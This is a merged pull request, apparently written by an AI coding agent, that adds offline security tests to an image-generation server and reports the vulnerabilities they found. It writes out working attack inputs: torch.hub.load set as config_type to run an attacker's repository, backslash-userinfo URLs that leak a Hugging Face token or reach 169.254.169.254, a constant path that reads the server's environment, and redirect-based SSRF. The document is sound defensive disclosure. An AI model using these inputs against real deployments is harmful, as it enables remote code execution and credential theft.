Skip to content

test(security): cover the boundaries the live MCP suite can't reach - #391

Merged
dkackman merged 7 commits into
developfrom
test/security-gaps
Sep 24, 2026
Merged

dkackman merged 7 commits into
developfrom
test/security-gaps

Conversation

@dkackman

Copy link
Copy Markdown
Owner

Tests only. No production code changes. This adds six files under tests/test_security_*.py: 325 passing tests and 18 strict xfails. Each xfail is a finding. All run on CPU, offline and fast (the slowest is 0.6s). Every probe targets tmp_path.

"Refused too late" is checked directly, not taken from the exception:

  • Imports: a probe module sits on sys.path and writes a marker file if its code runs. A sys.meta_path recorder logs any attempt to find it.
  • Network: DNS goes through a fake resolver. It resolves numeric spellings the way glibc does (inet_aton) and answers names only from a table.
  • HTTP: a fake HTTPAdapter.send records every request that would have gone out, headers included.
  • Decoding: ImageFile.load is replaced with a version that records the attempt and raises before allocating anything.
  • Sockets: I ran every file under a socket-tracing plugin and saw no connection attempts.

Coverage

Gap Tests Result
1 Auth test_security_auth.py::TestTheTokenGate (path spellings, wrong schemes, ?token= on routes that don't allow it, GET-only query token, token doesn't excuse a foreign Origin), TestOriginAndHostSpoofing (userinfo/suffix/fragment lookalikes, Host check on /outputs and /inputs), TestUngatedRoutesServeOnlyTheirRoots (what /outputs, /inputs, /exports serve without a token; encoded traversal; absolute names; hostile ?workspace=), TestServeRefusesAnOpenMcpEndpoint (--mcp on 0.0.0.0, ::, LAN IPs; empty token; DW_API_TOKEN; nothing starts before the refusal) pass
1 test_an_unparseable_origin_is_a_403_not_a_500 xfail
2 Trust gate test_security_trust_gate.py::TestUntrustedRefusesBeforeImport (*_type, component_type, _dtype, dtype, config_type, nested; pre_load_modules incl. trusted-first ordering; constant:; trust_remote_code truthy variants; custom_pipeline Hub and local path), TestValidationRefusesBeforeImport, TestTrustedLetsEachSurfaceThrough (via DW_TRUST_WORKFLOWS=1 and via set_trust_workflows(True)), TestHowAProcessBecomesTrusted (only exactly "1" trusts; dw.serve and dw.validate without the flag override an inherited 1) pass
2 test_config_type_cannot_name_a_code_loader_in_an_allowed_package, test_a_constant_cannot_walk_out_of_an_allowed_package xfail
3 Symlinks test_security_symlinks.py: read/write/delete on outputs, assets, shared common/assets, workflows, prompts, exports and workspaces; keep_output; uploads, including shared ones; asset:, output: and prompt: references; gather_images / gather_videos globs pass
3 listings for gallery, assets, workflows and prompts; /exports/<job>.zip 5 xfail
4 Decoder bombs test_security_decoder_bombs.py: over Pillow's error limit via get_output_image and thumbnail; gallery listing doesn't decode; MAX_IMAGE_PIXELS not disabled pass
4 under Pillow's limit via get_output_image, with crop, thumbnail, metadata 4 xfail ("no pixel clamp - gap")
5 SSRF test_security_ssrf.py::TestInternalAddressSpellings: RFC1918 edges, link-local, 127/8, 0.0.0.0, IPv6 loopback/ULA/link-local incl. zone id and fd00:ec2::254, IPv4-mapped IPv6, decimal/hex/octal/short spellings, names resolving inside, mixed DNS answers, userinfo, public addresses still allowed pass
5 CGNAT metadata; redirects for image and audio; backslash parser differential 4 xfail
6 HF token TestHuggingFaceTokenScope: allowed hosts, lookalikes, userinfo/fragment/path tricks end to end on outgoing headers, cross-host 307 drops the token, https→http downgrade drops it, trust lifts the scope pass
6 test_the_token_goes_only_where_the_connection_goes[evil.example\@huggingface.co] xfail
7 download_output TestDownloadOutputDestination: relative destinations land inside; .., absolute and ~ refused; symlinked parent and grandparent refused (with and without overwrite); overwrite can't clobber a linked file; a dangling link is replaced, not followed; a symlinked workspace root still confines pass
8 Input caps test_security_input_caps.py: 20,000 accepted, 20,001 and 25,000 refused (top level, list entries, nested dicts); /api/validate, /api/jobs (worker never sent execute), CLI (nothing loaded); variable name cap; 33 for_each entries inline and via arguments; 50MB workflow file refused without being opened; 200MB upload refused from Content-Length without the body being read pass
8 test_a_default_in_the_definition_is_held_to_the_same_cap xfail

Findings

"MCP consumer" below means anyone who can submit an inline workflow over MCP or /api/jobs under the default untrusted posture. I confirmed every xfail with --runxfail: each fails on the assertion it names, not on a setup error.

High

  1. config_type reaches arbitrary code through an allowlisted package.
    • create_quantization_config (dw/pipeline_processors/config_objects.py) calls the realized config_type with the workflow's own arguments.
    • torch is in TRUSTED_TOP_LEVEL_PACKAGES, so "config_type": "torch.hub.load" with {"repo_or_dir": "attacker/repo", "trust_repo": true} is called untrusted.
    • That downloads and runs a GitHub repo's hubconf.py. The workflow also passes validation_errors with [].
    • Observed: the mocked torch.hub.load was called with the attacker's kwargs.
    • Exploitable by an MCP consumer: code execution on the server.
  2. HF token leak through a URL-parser differential.
    • remote_text_encoder (dw/pipeline_processors/remote.py) picks the token's destination with urlparse(url).hostname. For https://evil.example\@huggingface.co/encode that host is huggingface.co.
    • requests/urllib3 actually connect to evil.example.
    • Observed: a request to https://evil.example/%5C@huggingface.co/encode carrying Authorization: Bearer <token>.
    • Exploitable by an MCP consumer.
  3. SSRF bypass through the same differential.
    • validate_media_url (dw/locations.py) checks urlparse's host. For http://169.254.169.254\@example.com/, example.com is checked and 169.254.169.254 is dialed.
    • Observed: a request to 169.254.169.254.
    • Exploitable by an MCP consumer.

Medium
4. Redirects aren't re-checked.

  • fetch_image (dw/arguments.py, via diffusers load_image) and load_audio (dw/tasks/audio_utils.py) validate only the first URL. requests then follows a 302/307 to 169.254.169.254 or 127.0.0.1.
  • Observed: a second request to the internal host.
  • video_utils.py:479 has the same pattern; I didn't test it separately.
  • Exploitable by an MCP consumer who controls any public URL.
  1. constant:torch.os.environ reads the server's environment untrusted.
    • load_constant_from_name (dw/type_helpers.py) checks only the top-level package and then walks attributes from there, so torch.os.environ passes.
    • Observed: DW_API_TOKEN readable from the returned value, and validation passes.
    • I couldn't get it into an output: compose_text refuses a non-text part. It is one stringifying sink away. Reachable by an MCP consumer.
  2. No pixel clamp.
    • Pillow's guard only warns between 1× and 2× MAX_IMAGE_PIXELS, so a 144M-pixel PNG is fully decoded by:
      • get_output_image (dw_mcp/media.py), including with crop
      • gallery_thumbnail (draft() does nothing for PNG)
      • the metadata route: read_embedded_metadata in dw/result.py reads PngImageFile.text, which loads the whole image
    • Needs a bomb in outputs, so an authorized caller who can get one there (e.g. by uploading it and running it through a copy step).
    • Memory and CPU denial of service per request.

Low (the symlink cases need someone with local filesystem access to plant the link)

  1. GET /exports/<job>.zip has no token, and os.walk + ZipFile.write follow a planted file symlink. Observed: the target's bytes in the zip.
  2. workflow_details (dw/server/app.py) and prompt_details open every *.json found by os.walk, with no containment check. Observed: a linked file's description, variable names and prompt text in GET /api/workflows and GET /api/prompts.
  3. The gallery (_iter_gallery_files) and asset listings list a symlink pointing outside, with the target's size and mtime. Reading the file itself is refused.
  4. reject_foreign_origins calls urlparse outside a try. An Origin like http://[::1].evil.example gives a 500, not a 403. Nothing is processed, and a test pins that.
  5. 100.64.0.0/10 isn't treated as internal (_is_internal never checks is_global). This covers Alibaba Cloud's metadata endpoint at 100.100.100.200.
  6. The 20,000-character cap applies only to caller arguments. A 25,000-character default in an inline workflow validates clean. This may be intended — defaults are author-written — but since any MCP consumer is an author, the cap doesn't bound what they can send. Your call.

Already failing on develop

None.

  • On develop at c3ee829 in this environment: 5761 passed, 15 skipped, 0 failed.
  • After merging the newer develop (9c78993) into this branch: full suite 6116 passed, 15 skipped, 18 xfailed, 0 failed.

Environment caveat: the pyproject.toml floors (e.g. numpy>=2.5.2, torch>=2.13) weren't available from the PyPI this sandbox reaches, and download.pytorch.org was blocked. I installed the newest versions available (torch 2.14 from PyPI, numpy 2.4.6, diffusers from git), and ruff is clean on the new files. CI will be the real check.

Separately, while writing these I found that importing the bitsandbytes CPU backend (reached lazily when a real diffusers class name is validated) calls the Hub for a kernel at import time. The tests use an escaped {Fake} component so they never trigger it. Some existing tests probably do.

Not covered, and why

  • DNS rebinding (the name resolves public when checked, internal when fetched): showing it needs a resolver that answers differently on each call, running inside urllib3's connection. I could build that with the tools here, but it wouldn't be the harmless, fast probe this PR aims for. The design resolves twice, so it is presumably open.
  • Size cap on an inline workflow body (POST /api/jobs): I found no cap and none is documented. A test would need a body over 50MB, which is slower than a couple of seconds for a limit nobody promised.
  • Symlink swap races (TOCTOU between check and use): not deterministic in a unit test.
  • Windows path semantics: the symlink file skips on nt.

🤖 Generated with Claude Code

https://claude.ai/code/session_01NSpbAKgGb282ixhsEqGQ52


Generated by Claude Code

@dkackman
dkackman merged commit 96b463d into develop Sep 24, 2026
9 checks passed
@dkackman
dkackman deleted the test/security-gaps branch September 25, 2026 01:19
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants